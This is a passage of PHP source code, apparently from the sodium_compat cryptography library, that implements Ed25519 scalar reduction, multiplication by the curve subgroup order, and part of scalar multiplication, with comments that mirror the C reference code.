        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);
        $s12 = 0;

        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        $carry11 = $s11 >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);

        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        /**
         * @var array<int, int>
         */
        $arr = array(
            (int) ($s0 >> 0),
            (int) ($s0 >> 8),
            (int) (($s0 >> 16) | $s1 << 5),
            (int) ($s1 >> 3),
            (int) ($s1 >> 11),
            (int) (($s1 >> 19) | $s2 << 2),
            (int) ($s2 >> 6),
            (int) (($s2 >> 14) | $s3 << 7),
            (int) ($s3 >> 1),
            (int) ($s3 >> 9),
            (int) (($s3 >> 17) | $s4 << 4),
            (int) ($s4 >> 4),
            (int) ($s4 >> 12),
            (int) (($s4 >> 20) | $s5 << 1),
            (int) ($s5 >> 7),
            (int) (($s5 >> 15) | $s6 << 6),
            (int) ($s6 >> 2),
            (int) ($s6 >> 10),
            (int) (($s6 >> 18) | $s7 << 3),
            (int) ($s7 >> 5),
            (int) ($s7 >> 13),
            (int) ($s8 >> 0),
            (int) ($s8 >> 8),
            (int) (($s8 >> 16) | $s9 << 5),
            (int) ($s9 >> 3),
            (int) ($s9 >> 11),
            (int) (($s9 >> 19) | $s10 << 2),
            (int) ($s10 >> 6),
            (int) (($s10 >> 14) | $s11 << 7),
            (int) ($s11 >> 1),
            (int) ($s11 >> 9),
            (int) $s11 >> 17
        );
        return self::intArrayToString($arr);
    }

    /**
     * multiply by the order of the main subgroup l = 2^252+27742317777372353535851937790883648493
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     */
    public static function ge_mul_l(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A)
    {
        $aslide = array(
            13, 0, 0, 0, 0, -1, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, -5, 0, 0, 0,
            0, 0, 0, -3, 0, 0, 0, 0, -13, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0, 3, 0,
            0, 0, 0, -13, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 11, 0, 0, 0,
            0, 0, 11, 0, 0, 0, 0, -13, 0, 0, 0, 0, 0, 0, -3, 0, 0, 0, 0, 0, -1,
            0, 0, 0, 0, 3, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, 0, 15, 0, 0, 0,
            0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 7, 0, 0, 0, 0, 5, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1
        );

        /** @var array<int, ParagonIE_Sodium_Core_Curve25519_Ge_Cached> $Ai size 8 */
        $Ai = array();

        # ge_p3_to_cached(&Ai[0], A);
        $Ai[0] = self::ge_p3_to_cached($A);
        # ge_p3_dbl(&t, A);
        $t = self::ge_p3_dbl($A);
        # ge_p1p1_to_p3(&A2, &t);
        $A2 = self::ge_p1p1_to_p3($t);

        for ($i = 1; $i < 8; ++$i) {
            # ge_add(&t, &A2, &Ai[0]);
            $t = self::ge_add($A2, $Ai[$i - 1]);
            # ge_p1p1_to_p3(&u, &t);
            $u = self::ge_p1p1_to_p3($t);
            # ge_p3_to_cached(&Ai[i], &u);
            $Ai[$i] = self::ge_p3_to_cached($u);
        }

        $r = self::ge_p3_0();
        for ($i = 252; $i >= 0; --$i) {
            $t = self::ge_p3_dbl($r);
            if ($aslide[$i] > 0) {
                # ge_p1p1_to_p3(&u, &t);
                $u = self::ge_p1p1_to_p3($t);
                # ge_add(&t, &u, &Ai[aslide[i] / 2]);
                $t = self::ge_add($u, $Ai[(int)($aslide[$i] / 2)]);
            } elseif ($aslide[$i] < 0) {
                # ge_p1p1_to_p3(&u, &t);
                $u = self::ge_p1p1_to_p3($t);
                # ge_sub(&t, &u, &Ai[(-aslide[i]) / 2]);
                $t = self::ge_sub($u, $Ai[(int)(-$aslide[$i] / 2)]);
            }
        }

        # ge_p1p1_to_p3(r, &t);
        return self::ge_p1p1_to_p3($t);
    }

    /**
     * @param string $a
     * @param string $b
     * @return string
     */
    public static function sc25519_mul($a, $b)
    {
        //    int64_t a0  = 2097151 & load_3(a);
        //    int64_t a1  = 2097151 & (load_4(a + 2) >> 5);
        //    int64_t a2  = 2097151 & (load_3(a + 5) >> 2);
        //    int64_t a3  = 2097151 & (load_4(a + 7) >> 7);
        //    int64_t a4  = 2097151 & (load_4(a + 10) >> 4);
        //    int64_t a5  = 2097151 & (load_3(a + 13) >> 1);
        //    int64_t a6  = 2097151 & (load_4(a + 15) >> 6);
        //    int64_t a7  = 2097151 & (load_3(a + 18) >> 3);
        //    int64_t a8  = 2097151 & load_3(a + 21);
        //    int64_t a9  = 2097151 & (load_4(a + 23) >> 5);
        //    int64_t a10 = 2097151 & (load_3(a + 26) >> 2);
        //    int64_t a11 = (load_4(a + 28) >> 7);
        $a0  = 2097151 &  self::load_3(self::substr($a, 0, 3));
        $a1  = 2097151 & (self::load_4(self::substr($a, 2, 4)) >> 5);
        $a2  = 2097151 & (self::load_3(self::substr($a, 5, 3)) >> 2);
        $a3  = 2097151 & (self::load_4(self::substr($a, 7, 4)) >> 7);
        $a4  = 2097151 & (self::load_4(self::substr($a, 10, 4)) >> 4);
        $a5  = 2097151 & (self::load_3(self::substr($a, 13, 3)) >> 1);
        $a6  = 2097151 & (self::load_4(self::substr($a, 15, 4)) >> 6);
        $a7  = 2097151 & (self::load_3(self::substr($a, 18, 3)) >> 3);
        $a8  = 2097151 &  self::load_3(self::substr($a, 21, 3));
        $a9  = 2097151 & (self::load_4(self::substr($a, 23, 4)) >> 5);
        $a10 = 2097151 & (self::load_3(self::substr($a, 26, 3)) >> 2);
        $a11 = (self::load_4(self::substr($a, 28, 4)) >> 7);

        //    int64_t b0  = 2097151 & load_3(b);
        //    int64_t b1  = 2097151 & (load_4(b + 2) >> 5);
        //    int64_t b2  = 2097151 & (load_3(b + 5) >> 2);
        //    int64_t b3  = 2097151 & (load_4(b + 7) >> 7);
        //    int64_t b4  = 2097151 & (load_4(b + 10) >> 4);
        //    int64_t b5  = 2097151 & (load_3(b + 13) >> 1);
        //    int64_t b6  = 2097151 & (load_4(b + 15) >> 6);
        //    int64_t b7  = 2097151 & (load_3(b + 18) >> 3);
        //    int64_t b8  = 2097151 & load_3(b + 21);
        //    int64_t b9  = 2097151 & (load_4(b + 23) >> 5);
        //    int64_t b10 = 2097151 & (load_3(b + 26) >> 2);
        //    int64_t b11 = (load_4(b + 28) >> 7);
        $b0  = 2097151 &  self::load_3(self::substr($b, 0, 3));
        $b1  = 2097151 & (self::load_4(self::substr($b, 2, 4)) >> 5);
        $b2  = 2097151 & (self::load_3(self::substr($b, 5, 3)) >> 2);
        $b3  = 2097151 & (self::load_4(self::substr($b, 7, 4)) >> 7);
        $b4  = 2097151 & (self::load_4(self::substr($b, 10, 4)) >> 4);
        $b5  = 2097151 & (self::load_3(self::substr($b, 13, 3)) >> 1);
        $b6  = 2097151 & (self::load_4(self::substr($b, 15, 4)) >> 6);
        $b7  = 2097151 & (self::load_3(self::substr($b, 18, 3)) >> 3);
        $b8  = 2097151 &  self::load_3(self::substr($b, 21, 3));
        $b9  = 2097151 & (self::load_4(self::substr($b, 23, 4)) >> 5);
        $b10 = 2097151 & (self::load_3(self::substr($b, 26, 3)) >> 2);
        $b11 = (self::load_4(self::substr($b, 28, 4)) >> 7);

        //    s0 = a0 * b0;
        //    s1 = a0 * b1 + a1 * b0;
        //    s2 = a0 * b2 + a1 * b1 + a2 * b0;
        //    s3 = a0 * b3 + a1 * b2 + a2 * b1 + a3 * b0;
        //    s4 = a0 * b4 + a1 * b3 + a2 * b2 + a3 * b1 + a4 * b0;
        //    s5 = a0 * b5 + a1 * b4 + a2 * b3 + a3 * b2 + a4 * b1 + a5 * b0;
        //    s6 = a0 * b6 + a1 * b5 + a2 * b4 + a3 * b3 + a4 * b2 + a5 * b1 + a6 * b0;
        //    s7 = a0 * b7 + a1 * b6 + a2 * b5 + a3 * b4 + a4 * b3 + a5 * b2 +
        //        a6 * b1 + a7 * b0;
        //    s8 = a0 * b8 + a1 * b7 + a2 * b6 + a3 * b5 + a4 * b4 + a5 * b3 +
        //        a6 * b2 + a7 * b1 + a8 * b0;
        //    s9 = a0 * b9 + a1 * b8 + a2 * b7 + a3 * b6 + a4 * b5 + a5 * b4 +
        //        a6 * b3 + a7 * b2 + a8 * b1 + a9 * b0;
        //    s10 = a0 * b10 + a1 * b9 + a2 * b8 + a3 * b7 + a4 * b6 + a5 * b5 +
        //        a6 * b4 + a7 * b3 + a8 * b2 + a9 * b1 + a10 * b0;
        //    s11 = a0 * b11 + a1 * b10 + a2 * b9 + a3 * b8 + a4 * b7 + a5 * b6 +
        //        a6 * b5 + a7 * b4 + a8 * b3 + a9 * b2 + a10 * b1 + a11 * b0;
        //    s12 = a1 * b11 + a2 * b10 + a3 * b9 + a4 * b8 + a5 * b7 + a6 * b6 +
        //        a7 * b5 + a8 * b4 + a9 * b3 + a10 * b2 + a11 * b1;
        //    s13 = a2 * b11 + a3 * b10 + a4 * b9 + a5 * b8 + a6 * b7 + a7 * b6 +
        //        a8 * b5 + a9 * b4 + a10 * b3 + a11 * b2;
        //    s14 = a3 * b11 + a4 * b10 + a5 * b9 + a6 * b8 + a7 * b7 + a8 * b6 +
        //        a9 * b5 + a10 * b4 + a11 * b3;
        //    s15 = a4 * b11 + a5 * b10 + a6 * b9 + a7 * b8 + a8 * b7 + a9 * b6 +
        //        a10 * b5 + a11 * b4;
        //    s16 =
        //        a5 * b11 + a6 * b10 + a7 * b9 + a8 * b8 + a9 * b7 + a10 * b6 + a11 * b5;
        //    s17 = a6 * b11 + a7 * b10 + a8 * b9 + a9 * b8 + a10 * b7 + a11 * b6;
        //    s18 = a7 * b11 + a8 * b10 + a9 * b9 + a10 * b8 + a11 * b7;
        //    s19 = a8 * b11 + a9 * b10 + a10 * b9 + a11 * b8;
        //    s20 = a9 * b11 + a10 * b10 + a11 * b9;
        //    s21 = a10 * b11 + a11 * b10;
        //    s22 = a11 * b11;
        //    s23 = 0;
        $s0 = self::mul($a0, $b0, 22);
        $s1 = self::mul($a0, $b1, 22) + self::mul($a1, $b0, 22);
        $s2 = self::mul($a0, $b2, 22) + self::mul($a1, $b1, 22) + self::mul($a2, $b0, 22);
        $s3 = self::mul($a0, $b3, 22) + self::mul($a1, $b2, 22) + self::mul($a2, $b1, 22) + self::mul($a3, $b0, 22);
        $s4 = self::mul($a0, $b4, 22) + self::mul($a1, $b3, 22) + self::mul($a2, $b2, 22) + self::mul($a3, $b1, 22) +
            self::mul($a4, $b0, 22);
        $s5 = self::mul($a0, $b5, 22) + self::mul($a1, $b4, 22) + self::mul($a2, $b3, 22) + self::mul($a3, $b2, 22) +
            self::mul($a4, $b1, 22) + self::mul($a5, $b0, 22);
        $s6 = self::mul($a0, $b6, 22) + self::mul($a1, $b5, 22) + self::mul($a2, $b4, 22) + self::mul($a3, $b3, 22) +
            self::mul($a4, $b2, 22) + self::mul($a5, $b1, 22) + self::mul($a6, $b0, 22);
        $s7 = self::mul($a0, $b7, 22) + self::mul($a1, $b6, 22) + self::mul($a2, $b5, 22) + self::mul($a3, $b4, 22) +
            self::mul($a4, $b3, 22) + self::mul($a5, $b2, 22) + self::mul($a6, $b1, 22) + self::mul($a7, $b0, 22);
        $s8 = self::mul($a0, $b8, 22) + self::mul($a1, $b7, 22) + self::mul($a2, $b6, 22) + self::mul($a3, $b5, 22) +
            self::mul($a4, $b4, 22) + self::mul($a5, $b3, 22) + self::mul($a6, $b2, 22) + self::mul($a7, $b1, 22) +
            self::mul($a8, $b0, 22);
        $s9 = self::mul($a0, $b9, 22) + self::mul($a1, $b8, 22) + self::mul($a2, $b7, 22) + self::mul($a3, $b6, 22) +
            self::mul($a4, $b5, 22) + self::mul($a5, $b4, 22) + self::mul($a6, $b3, 22) + self::mul($a7, $b2, 22) +
            self::mul($a8, $b1, 22) + self::mul($a9, $b0, 22);
        $s10 = self::mul($a0, $b10, 22) + self::mul($a1, $b9, 22) + self::mul($a2, $b8, 22) + self::mul($a3, $b7, 22) +
            self::mul($a4, $b6, 22) + self::mul($a5, $b5, 22) + self::mul($a6, $b4, 22) + self::mul($a7, $b3, 22) +
            self::mul($a8, $b2, 22) + self::mul($a9, $b1, 22) + self::mul($a10, $b0, 22);
        $s11 = self::mul($a0, $b11, 22) + self::mul($a1, $b10, 22) + self::mul($a2, $b9, 22) + self::mul($a3, $b8, 22) +
            self::mul($a4, $b7, 22) + self::mul($a5, $b6, 22) + self::mul($a6, $b5, 22) + self::mul($a7, $b4, 22) +
            self::mul($a8, $b3, 22) + self::mul($a9, $b2, 22) + self::mul($a10, $b1, 22) + self::mul($a11, $b0, 22);
        $s12 = self::mul($a1, $b11, 22) + self::mul($a2, $b10, 22) + self::mul($a3, $b9, 22) + self::mul($a4, $b8, 22) +
            self::mul($a5, $b7, 22) + self::mul($a6, $b6, 22) + self::mul($a7, $b5, 22) + self::mul($a8, $b4, 22) +
            self::mul($a9, $b3, 22) + self::mul($a10, $b2, 22) + self::mul($a11, $b1, 22);
        $s13 = self::mul($a2, $b11, 22) + self::mul($a3, $b10, 22) + self::mul($a4, $b9, 22) + self::mul($a5, $b8, 22) +
            self::mul($a6, $b7, 22) + self::mul($a7, $b6, 22) + self::mul($a8, $b5, 22) + self::mul($a9, $b4, 22) +
            self::mul($a10, $b3, 22) + self::mul($a11, $b2, 22);
        $s14 = self::mul($a3, $b11, 22) + self::mul($a4, $b10, 22) + self::mul($a5, $b9, 22) + self::mul($a6, $b8, 22) +
            self::mul($a7, $b7, 22) + self::mul($a8, $b6, 22) + self::mul($a9, $b5, 22) + self::mul($a10, $b4, 22) +
            self::mul($a11, $b3, 22);
        $s15 = self::mul($a4, $b11, 22) + self::mul($a5, $b10, 22) + self::mul($a6, $b9, 22) + self::mul($a7, $b8, 22) +
            self::mul($a8, $b7, 22) + self::mul($a9, $b6, 22) + self::mul($a10, $b5, 22) + self::mul($a11, $b4, 22);
        $s16 =
            self::mul($a5, $b11, 22) + self::mul($a6, $b10, 22) + self::mul($a7, $b9, 22) + self::mul($a8, $b8, 22) +
            self::mul($a9, $b7, 22) + self::mul($a10, $b6, 22) + self::mul($a11, $b5, 22);
        $s17 = self::mul($a6, $b11, 22) + self::mul($a7, $b10, 22) + self::mul($a8, $b9, 22) + self::mul($a9, $b8, 22) +
            self::mul($a10, $b7, 22) + self::mul($a11, $b6, 22);
        $s18 = self::mul($a7, $b11, 22) + self::mul($a8, $b10, 22) + self::mul($a9, $b9, 22) + self::mul($a10, $b8, 22)
            + self::mul($a11, $b7, 22);
        $s19 = self::mul($a8, $b11, 22) + self::mul($a9, $b10, 22) + self::mul($a10, $b9, 22) +
            self::mul($a11, $b8, 22);
        $s20 = self::mul($a9, $b11, 22) + self::mul($a10, $b10, 22) + self::mul($a11, $b9, 22);
        $s21 = self::mul($a10, $b11, 22) + self::mul($a11, $b10, 22);
        $s22 = self::mul($a11, $b11, 22);
        $s23 = 0;

        //    carry0 = (s0 + (int64_t) (1L << 20)) >> 21;
        //    s1 += carry0;
        //    s0 -= carry0 * ((uint64_t) 1L << 21);
        $carry0 = ($s0 + (1 << 20)) >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        //    carry2 = (s2 + (int64_t) (1L << 20)) >> 21;
        //    s3 += carry2;
        //    s2 -= carry2 * ((uint64_t) 1L << 21);
        $carry2 = ($s2 + (1 << 20)) >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        //    carry4 = (s4 + (int64_t) (1L << 20)) >> 21;
        //    s5 += carry4;
        //    s4 -= carry4 * ((uint64_t) 1L << 21);
        $carry4 = ($s4 + (1 << 20)) >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        //    carry6 = (s6 + (int64_t) (1L << 20)) >> 21;
        //    s7 += carry6;
        //    s6 -= carry6 * ((uint64_t) 1L << 21);
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        //    carry8 = (s8 + (int64_t) (1L << 20)) >> 21;
        //    s9 += carry8;
        //    s8 -= carry8 * ((uint64_t) 1L << 21);
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        //    carry10 = (s10 + (int64_t) (1L << 20)) >> 21;
        //    s11 += carry10;
        //    s10 -= carry10 * ((uint64_t) 1L << 21);
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        //    carry12 = (s12 + (int64_t) (1L << 20)) >> 21;
        //    s13 += carry12;
        //    s12 -= carry12 * ((uint64_t) 1L << 21);
        $carry12 = ($s12 + (1 << 20)) >> 21;
        $s13 += $carry12;
        $s12 -= $carry12 << 21;
        //    carry14 = (s14 + (int64_t) (1L << 20)) >> 21;
        //    s15 += carry14;
        //    s14 -= carry14 * ((uint64_t) 1L << 21);
        $carry14 = ($s14 + (1 << 20)) >> 21;
        $s15 += $carry14;
        $s14 -= $carry14 << 21;
        //    carry16 = (s16 + (int64_t) (1L << 20)) >> 21;
        //    s17 += carry16;
        //    s16 -= carry16 * ((uint64_t) 1L << 21);
        $carry16 = ($s16 + (1 << 20)) >> 21;
        $s17 += $carry16;
        $s16 -= $carry16 << 21;
        //    carry18 = (s18 + (int64_t) (1L << 20)) >> 21;
        //    s19 += carry18;
        //    s18 -= carry18 * ((uint64_t) 1L << 21);
        $carry18 = ($s18 + (1 << 20)) >> 21;
        $s19 += $carry18;
        $s18 -= $carry18 << 21;
        //    carry20 = (s20 + (int64_t) (1L << 20)) >> 21;
        //    s21 += carry20;
        //    s20 -= carry20 * ((uint64_t) 1L << 21);
        $carry20 = ($s20 + (1 << 20)) >> 21;
        $s21 += $carry20;
        $s20 -= $carry20 << 21;
        //    carry22 = (s22 + (int64_t) (1L << 20)) >> 21;
        //    s23 += carry22;
        //    s22 -= carry22 * ((uint64_t) 1L << 21);
        $carry22 = ($s22 + (1 << 20)) >> 21;
        $s23 += $carry22;
        $s22 -= $carry22 << 21;

        //    carry1 = (s1 + (int64_t) (1L << 20)) >> 21;
        //    s2 += carry1;
        //    s1 -= carry1 * ((uint64_t) 1L << 21);
        $carry1 = ($s1 + (1 << 20)) >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        //    carry3 = (s3 + (int64_t) (1L << 20)) >> 21;
        //    s4 += carry3;
        //    s3 -= carry3 * ((uint64_t) 1L << 21);
        $carry3 = ($s3 + (1 << 20)) >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        //    carry5 = (s5 + (int64_t) (1L << 20)) >> 21;
        //    s6 += carry5;
        //    s5 -= carry5 * ((uint64_t) 1L << 21);
        $carry5 = ($s5 + (1 << 20)) >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        //    carry7 = (s7 + (int64_t) (1L << 20)) >> 21;
        //    s8 += carry7;
        //    s7 -= carry7 * ((uint64_t) 1L << 21);
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        //    carry9 = (s9 + (int64_t) (1L << 20)) >> 21;
        //    s10 += carry9;
        //    s9 -= carry9 * ((uint64_t) 1L << 21);
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        //    carry11 = (s11 + (int64_t) (1L << 20)) >> 21;
        //    s12 += carry11;
        //    s11 -= carry11 * ((uint64_t) 1L << 21);
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;
        //    carry13 = (s13 + (int64_t) (1L << 20)) >> 21;
        //    s14 += carry13;
        //    s13 -= carry13 * ((uint64_t) 1L << 21);
        $carry13 = ($s13 + (1 << 20)) >> 21;
        $s14 += $carry13;
        $s13 -= $carry13 << 21;
        //    carry15 = (s15 + (int64_t) (1L << 20)) >> 21;
        //    s16 += carry15;
        //    s15 -= carry15 * ((uint64_t) 1L << 21);
        $carry15 = ($s15 + (1 << 20)) >> 21;
        $s16 += $carry15;
        $s15 -= $carry15 << 21;
        //    carry17 = (s17 + (int64_t) (1L << 20)) >> 21;
        //    s18 += carry17;
        //    s17 -= carry17 * ((uint64_t) 1L << 21);
        $carry17 = ($s17 + (1 << 20)) >> 21;
        $s18 += $carry17;
        $s17 -= $carry17 << 21;
        //    carry19 = (s19 + (int64_t) (1L << 20)) >> 21;
        //    s20 += carry19;
        //    s19 -= carry19 * ((uint64_t) 1L << 21);
        $carry19 = ($s19 + (1 << 20)) >> 21;
        $s20 += $carry19;
        $s19 -= $carry19 << 21;
        //    carry21 = (s21 + (int64_t) (1L << 20)) >> 21;
        //    s22 += carry21;
        //    s21 -= carry21 * ((uint64_t) 1L << 21);
        $carry21 = ($s21 + (1 << 20)) >> 21;
        $s22 += $carry21;
        $s21 -= $carry21 << 21;

        //    s11 += s23 * 666643;
        //    s12 += s23 * 470296;
        //    s13 += s23 * 654183;
        //    s14 -= s23 * 997805;
        //    s15 += s23 * 136657;
        //    s16 -= s23 * 683901;
        $s11 += self::mul($s23, 666643, 20);
        $s12 += self::mul($s23, 470296, 19);
        $s13 += self::mul($s23, 654183, 20);
        $s14 -= self::mul($s23, 997805, 20);
        $s15 += self::mul($s23, 136657, 18);
        $s16 -= self::mul($s23, 683901, 20);

        //    s10 += s22 * 666643;
        //    s11 += s22 * 470296;
        //    s12 += s22 * 654183;
        //    s13 -= s22 * 997805;
        //    s14 += s22 * 136657;
        //    s15 -= s22 * 683901;
        $s10 += self::mul($s22, 666643, 20);
        $s11 += self::mul($s22, 470296, 19);
        $s12 += self::mul($s22, 654183, 20);
        $s13 -= self::mul($s22, 997805, 20);
        $s14 += self::mul($s22, 136657, 18);
        $s15 -= self::mul($s22, 683901, 20);

        //    s9 += s21 * 666643;
        //    s10 += s21 * 470296;
        //    s11 += s21 * 654183;
        //    s12 -= s21 * 997805;
        //    s13 += s21 * 136657;
        //    s14 -= s21 * 683901;
        $s9 += self::mul($s21, 666643, 20);
        $s10 += self::mul($s21, 470296, 19);
        $s11 += self::mul($s21, 654183, 20);
        $s12 -= self::mul($s21, 997805, 20);
        $s13 += self::mul($s21, 136657, 18);
        $s14 -= self::mul($s21, 683901, 20);

        //    s8 += s20 * 666643;
        //    s9 += s20 * 470296;
        //    s10 += s20 * 654183;
        //    s11 -= s20 * 997805;
        //    s12 += s20 * 136657;
        //    s13 -= s20 * 683901;
        $s8 += self::mul($s20, 666643, 20);
        $s9 += self::mul($s20, 470296, 19);
        $s10 += self::mul($s20, 654183, 20);
        $s11 -= self::mul($s20, 997805, 20);
        $s12 += self::mul($s20, 136657, 18);
        $s13 -= self::mul($s20, 683901, 20);

        //    s7 += s19 * 666643;
        //    s8 += s19 * 470296;
        //    s9 += s19 * 654183;
        //    s10 -= s19 * 997805;
        //    s11 += s19 * 136657;
        //    s12 -= s19 * 683901;
        $s7 += self::mul($s19, 666643, 20);
        $s8 += self::mul($s19, 470296, 19);
        $s9 += self::mul($s19, 654183, 20);
        $s10 -= self::mul($s19, 997805, 20);
        $s11 += self::mul($s19, 136657, 18);
        $s12 -= self::mul($s19, 683901, 20);

        //    s6 += s18 * 666643;
        //    s7 += s18 * 470296;
        //    s8 += s18 * 654183;
        //    s9 -= s18 * 997805;
        //    s10 += s18 * 136657;
        //    s11 -= s18 * 683901;
        $s6 += self::mul($s18, 666643, 20);
        $s7 += self::mul($s18, 470296, 19);
        $s8 += self::mul($s18, 654183, 20);
        $s9 -= self::mul($s18, 997805, 20);
        $s10 += self::mul($s18, 136657, 18);
        $s11 -= self::mul($s18, 683901, 20);

        //    carry6 = (s6 + (int64_t) (1L << 20)) >> 21;
        //    s7 += carry6;
        //    s6 -= carry6 * ((uint64_t) 1L << 21);
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        //    carry8 = (s8 + (int64_t) (1L << 20)) >> 21;
        //    s9 += carry8;
        //    s8 -= carry8 * ((uint64_t) 1L << 21);
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        //    carry10 = (s10 + (int64_t) (1L << 20)) >> 21;
        //    s11 += carry10;
        //    s10 -= carry10 * ((uint64_t) 1L << 21);
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        //    carry12 = (s12 + (int64_t) (1L << 20)) >> 21;
        //    s13 += carry12;
        //    s12 -= carry12 * ((uint64_t) 1L << 21);
        $carry12 = ($s12 + (1 << 20)) >> 21;
        $s13 += $carry12;
        $s12 -= $carry12 << 21;
        //    carry14 = (s14 + (int64_t) (1L << 20)) >> 21;
        //    s15 += carry14;
        //    s14 -= carry14 * ((uint64_t) 1L << 21);
        $carry14 = ($s14 + (1 << 20)) >> 21;
        $s15 += $carry14;
        $s14 -= $carry14 << 21;
        //    carry16 = (s16 + (int64_t) (1L << 20)) >> 21;
        //    s17 += carry16;
        //    s16 -= carry16 * ((uint64_t) 1L << 21);
        $carry16 = ($s16 + (1 << 20)) >> 21;
        $s17 += $carry16;
        $s16 -= $carry16 << 21;

        //    carry7 = (s7 + (int64_t) (1L << 20)) >> 21;
        //    s8 += carry7;
        //    s7 -= carry7 * ((uint64_t) 1L << 21);
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        //    carry9 = (s9 + (int64_t) (1L << 20)) >> 21;
        //    s10 += carry9;
        //    s9 -= carry9 * ((uint64_t) 1L << 21);
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        //    carry11 = (s11 + (int64_t) (1L << 20)) >> 21;
        //    s12 += carry11;
        //    s11 -= carry11 * ((uint64_t) 1L << 21);
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;
        //    carry13 = (s13 + (int64_t) (1L << 20)) >> 21;
        //    s14 += carry13;
        //    s13 -= carry13 * ((uint64_t) 1L << 21);
        $carry13 = ($s13 + (1 << 20)) >> 21;
        $s14 += $carry13;
        $s13 -= $carry13 << 21;
        //    carry15 = (s15 + (int64_t) (1L << 20)) >> 21;
        //    s16 += carry15;
        //    s15 -= carry15 * ((uint64_t) 1L << 21);
        $carry15 = ($s15 + (1 << 20)) >> 21;
        $s16 += $carry15;
        $s15 -= $carry15 << 21;

        //    s5 += s17 * 666643;
        //    s6 += s17 * 470296;
